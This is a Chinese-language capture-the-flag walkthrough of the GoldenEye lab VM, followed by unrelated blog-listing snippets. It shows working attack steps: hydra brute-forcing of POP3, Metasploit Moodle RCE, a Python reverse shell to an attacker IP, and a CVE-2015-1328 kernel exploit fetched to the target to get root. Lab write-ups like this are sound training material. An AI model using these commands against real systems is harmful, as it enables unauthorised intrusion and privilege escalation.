实战流程

1,通过nmap查找本段IP中存活的机器

┌──(root㉿whoami)-[/home/whoami/Desktop]

└─# nmap -sP 192.168.186.0/24

排查网关和已知地址,得出靶机的ip是192.168.186.138,接下来扫描端口

┌──(root㉿whoami)-[/home/whoami/Desktop]

└─# nmap 192.168.186.138

访问80端口的页面

2,根据提示进行访问,发现需要用户名和密码

3,那就继续返回主页想办法找用户名和密码

js中提供了3个关键信息,一段url编码和2个用户名

获得用户名:

boris

natalya

获得密码:InvincibleHack3r

密码url decode下

InvincibleHack3r

逐个尝试,发现最终账号密码

boris/InvincibleHack3r

4,观察登陆页面,发现对方已将 pop3 服务配置为在非常高的非默认端口上运行

既然上面说了有非默认的端口在运行一个活动的pop3服务,因此进行nmap全端口扫描

(-p-:全端口扫描 -p3306:仅仅扫描3306端口)

nmap -p- 192.168.186.138

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-14 04:31 EDT

Nmap scan report for 192.168.186.138 (192.168.186.138)

Host is up (0.00053s latency).

Not shown: 65531 closed tcp ports (reset)

PORT STATE SERVICE

25/tcp open smtp

80/tcp open http

55006/tcp open unknown

55007/tcp open unknown

MAC Address: 00:0C:29:03:FC:39 (VMware)

发现55006,55007两个开放的端口,扫描端口开启的服务详细信息;

┌──(root㉿whoami)-[/home/whoami/Desktop]

└─# nmap -sS -sV -T5 -A -p55006,55007 192.168.186.138

这段信息看出这两个端口开放了pop3的mail服务的。

7、接下来尝试使用暴力破解,在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务:

echo -e 'natalya\nboris' > heiyu.txt ---将两个用户名写入txt文本中

hydra -L heiyu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.186.138 -s 55007 pop3

经过2~5分钟等待,获得两组账号密码:

[55007][pop3] host: 192.168.4.202 login: natalya password: bird

[55007][pop3] host: 192.168.4.202 login: boris password: secret1!

用户:boris 密码:secret1!

用户:natalya 密码:bird

8、boris通过NC登录pop3查看邮件信封内容枚举:

nc 192.168.186.138 55007 ---登录邮箱

user boris ---登录用户

pass secret1! ---登录密码

list ---查看邮件数量

retr 1~3 ---查看邮件内容

第二封来自用户“natalya”,称她可以破坏鲍里斯的密码。

natalya用户登录邮件查看信息:

nc 192.168.186.138 55007 ---登录邮箱

user natalya ---登录用户

pass bird ---登录密码

list ---查看邮件数量

retr 1~3 ---查看邮件内容

在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:

用户名:xenia

密码:RCP90rulez!

域:severnaya-station.com

网址:severnaya-station.com/gnocertdir

我们现根据邮件提示添加本地域名:severnaya-station.com

9、设置本地HOSTS文件

vim /etc/hosts

192.168.186.138 severnaya-station.com

10、访问severnaya-station.com/gnocertdir地址:

刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。

whatweb severnaya-station.com/gnocertdir ---指纹搜索也行

点击:Intro to GoldenEye可以进行登录,使用natalya邮箱第二封邮件获得的用户名密码登录:

用户名:xenia

密码:RCP90rulez!

Home / My profile / Messages --->发现有一封邮件,内容发现用户名doak

11、继续爆破用户名doak的邮件

echo doak > heiyu.txt ---将用户名写入txt文本中

hydra -L heiyu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.186.138 -s 55007 pop3

[55007][pop3] host: 192.168.186.138 login: doak password: goat

获得用户名密码:doak/goat

12、登录doak用户枚举邮件信息

nc 192.168.186.138 55007 ---登录邮箱

user doak ---登录用户

pass goat ---登录密码

list ---查看邮件数量

retr 1 ---查看邮件内容

邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。

用户名:dr_doak

密码:4England!

13、使用新的账户密码登录CMS

登录后在:Home / My home 右边发现: s3cret.txt

另外发现这是Moodle使用的2.2.3版本

Something juicy is located here: /dir007key/for-007.jpg

现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

14、访问页面:severnaya-station.com/dir007key/for-007.jpg

下载到本地:

wget http://severnaya-station.com/dir007key/for-007.jpg

根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:

binwalk(路由逆向分析工具)

exiftool(图虫)

strings(识别动态库版本指令)

等查看jpg文件底层内容!

发现了base64编码的隐藏内容eFdpbnRlcjE5OTV4IQ==

使用Burpsuite破解获得密码:xWinter1995x!

线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。

用户名:admin

密码:xWinter1995x!

severnaya-station.com/gnocertdir

进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致。

这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。

Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324

15、此版本有许多漏洞利用,由于我们需要在目标计算机上进行shell访问,因此我选择使用远程代码执行(RCE)漏洞利用。

msfconsole ---进入MSF框架攻击界面

search moodle ---查找 moodle类型 攻击的模块

use 1 ---调用0 exploit/multi/http/moodle_cmd_exec调用攻击脚本

set username admin ---设置用户名:admin

set password xWinter1995x! ---设置密码:xWinter1995x!

set rhost severnaya-station.com ---设置:rhosts severnaya-station.com

set targeturi /gnocertdir ---设置目录: /gnocertdir

set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse

set lhost 192.168.186.130 ---设置:lhost 192.168.4.231(需要本地IP)

exploit ----执行命令

由于我们已经使用了管理员admin用户登录页面,由于使用的是powershell命令,需要在设置中修改:

Home / Site administration / Plugins / Text editors / TinyMCE HTML editor

来到此处,修改PSpellShell然后save!

然后重新exploit继续运行:获得shell

执行tty,因为获得的权限无框架:执行

python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty

也可以通过python反弹shell,在以下路径中找到path to aspell

Home / ► Site administration / ► Server / ► System paths

反弹shell如下编写

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.130",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

开启监听

┌──(whoami㉿whoami)-[~/Public/vulhub-master/flink/CVE-2020-17518]

└─$ nc -vlp 6666

触发脚本的点路径如下图,点击如图

Home / ► My profile / ► Blogs / ► Add a new entry

此时获取python shell成功

┌──(whoami㉿whoami)-[~/Public/vulhub-master/flink/CVE-2020-17518]

└─$ nc -vlp 6666

Ncat: Version 7.92 ( https://nmap.org/ncat )

Ncat: Listening on :::6666

Ncat: Listening on 0.0.0.0:6666

Ncat: Connection from 192.168.186.138.

Ncat: Connection from 192.168.186.138:35301.

/bin/sh: 0: can't access tty; job control turned off

$

以上两种获得shell的方式都可以,2选一即可。

16、内核提权

uname -a 查看权限!

Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

谷歌搜索:Linux ubuntu 3.13.0-32 exploit

获得exp版本:37292

https://www.exploit-db.com/exploits/37292

--------------------------------------------------

CVE(CAN) ID: CVE-2015-1328

overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。

Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。

此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

---------------------------------------------------------------------------

kali搜索下:

searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息

┌──(root㉿whoami)-[/usr/…/exploitdb/exploits/linux/local]

└─# cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/whoami/poc

这个靶场在枚举信息知道:

无法进行GCC编译,需要改下脚本为cc

gedit 37292.c ---文本打开

第143行将gcc改为cc ---编写下

然后在本目录下开启http服务:

python -m SimpleHTTPServer 8082 (python2)

python -m http.server 8082 (python3)

目标主机中下载文件

wget http://192.168.186.130:8082/37292.c ---wget下载http服务下的文件

成功下载后执行cc编译:

cc -o exp 37292.c ---C语言的CC代码编译点c文件

chmod +x exp ---编译成可执行文件,并赋权

./exp ---点杠执行

id ---查看目前权限

发现提权成功

cat /root/.flag.txt ---读取root下的flag信息

获取flag值

脑图汇总

我的难点

1,nmap各种细节用法的使用汇总

2,hydra工具原理的理解

3,图片内容检查工具的熟悉

4,msf中RCE脚本的利用

5,通过内核提权的方法和原理

【原创】项目一GoldenEye的更多相关文章

  1. (原创)项目部署-Tomcat设置默认访问项目及项目重复加载问题处理

    主要是通过配置<Tomcat安装目录>/conf/server.xml文件 步骤: 1.打开server.xml,在</Host>的上一行添加内容格式如下 <Contex ...

  2. 【原创项目】GC Server 更新

    GC Server 是自己2年前开坑的一个项目,主要是为coder提供方便,内含轻便编译器(不含代码编辑器,就是你把.c/.cpp代码文件放到指定目录下然后打开程序编译),还有各种各样的有助于提升智力 ...

  3. [原创] 项目 watch EMFILE 报错处理过程

    目录 事件 处理过程 参考资料 小知识点 单进程文件句柄限制 系统总文件句柄限制 inotify 文件系统事件监控 事件 公司XX游戏 S114服启动失败(使用 pomelo - node.js 框架 ...

  4. IT人创业之融资方式 - 创业与投资系列文章

    对于想要创业的IT人,最基本的就是需要资金和团队.笔者在经历了自己制定的职业道路之后(见文:IT从业者的职业道路(从程序员到部门经理) - 项目管理系列文章),进行过投资(见文:IT人经济思维之投资 ...

  5. 什么是VC、PE、LP、GP?

    天使基金主要关注原创项目构思和小型初创项目,投资规模大多在300万元以下:风险投资关注初创时期企业长期投资,规模在1000万元以下:私募股权投资主要关注3年内可以上市的成熟型企业. VC即ventur ...

  6. 两年,VMware又重回巅峰?

    两年前,被公有云和容器打的焦头烂额的VMware一度被众多业界人士看衰,营收.股价双双下滑.然而,仅仅经过短短两年时间,VMware已经和AWS,IBM.微软.Rackspace等众多公有云厂商成为合 ...

  7. CorelDRAW X8官方正版特惠下载

    CorelDRAW X8自发布以来,价格居高不下,这也使一众忠粉望而却步,之前看过CorelDRAW做活动,都是X6\X7这些比较早的版本,比较新的版本也没做什么优惠,不过还好看了一下,CorelDR ...

  8. CDR发展史-CorelDRAW经历了哪些版本?

    1989年CorelDRAW横空出世,它引入了全彩矢量插图和版面设计程序,这在计算机图形领域掀起了一场风暴般的技术革新.两年后,Corel又推出了首款一体化图形套件(第 3 版),将矢量插图.版面设计 ...

  9. 【AMAD】coconut -- 简单,优雅,pythonic的函数式编程语言

    动机 简介 个人评分 动机 作者的话: 我喜欢函数式编程,我认为函数式编程提供了一个更自然的方式来思考问题,并且代码也更加优雅,易读.不过如果你看过前20个最受欢迎的编程语言,你会发现没有一个式函数式 ...

随机推荐

  1. java中什么叫多重捕获MultiCatch,它的用法是怎样的?

    2.多重捕获MultiCatch 马克-to-win:什么叫多重捕获MultiCatch?一段代码可能引起多个异常,这时可以定义两个或更多的catch子句来处理这种情况,每个子句捕获一种类型的异常.马 ...

  2. 大数据学习之路之ambari配置(二)

    按照网上的教程配置,发现配置到hadoop虚拟机内存就开始不够了,心累

  3. leetcode多线程题目

    代码附上了力扣没显示出来的测试 按序打印 class Foo { private CountDownLatch latch = new CountDownLatch(1); private Count ...

  4. nodeJs入门的第一节课

    nodejs是什么? nodejs的架构模式以及优缺点 nodejs异步IO nodejs事件驱动 nodejs单线程 nodejs应用场景 一.nodejs是什么? 1.1nodejs是一个开源的. ...

  5. LC-19

    19. 删除链表的倒数第 N 个结点 思路基本直接出来,双指针,IndexFast 和 IndexSlow 中间相隔 N - 1, 这样 IndexFast 到了最后,IndexSlow 自然就是倒数 ...

  6. 一个程序的执行时间可以使用time+命令形式来获得

    编写程序testtime.c #include <stdio.h> //这个头一定要加 #include<time.h> main() { time_t timep; time ...

  7. IsDebuggerPresent的反调试与反反调试

    一.调用系统的IsDebuggerPresent函数 (1)实现程序 最简单也是最基础的,Windows提供的API接口:IsDebuggerPresent(),这API实际上就是访问PEB的Bein ...

  8. Java 在Word指定段落/文本位置插入分页符

    在Word插入分页符可以在指定段落后插入,也可以在特定文本位置处插入.本文,将以Java代码来操作以上两种文档分页需求.下面是详细方法及步骤. [程序环境] 在程序中导入jar,如下两种方法: 方法1 ...

  9. 『现学现忘』Git基础 — 3、Git介绍

    目录 1.Git的历史 2.Git的特点 3.Git在项目协作开发中所解决的问题 1.Git的历史 Git是目前世界上最先进的分布式版本控制系统,开源.免费. Git 是 Linus (林纳斯)为了帮 ...

  10. Sliding Window - 题解【单调队列】

    题面: An array of size n ≤ 106 is given to you. There is a sliding window of size k which is moving fr ...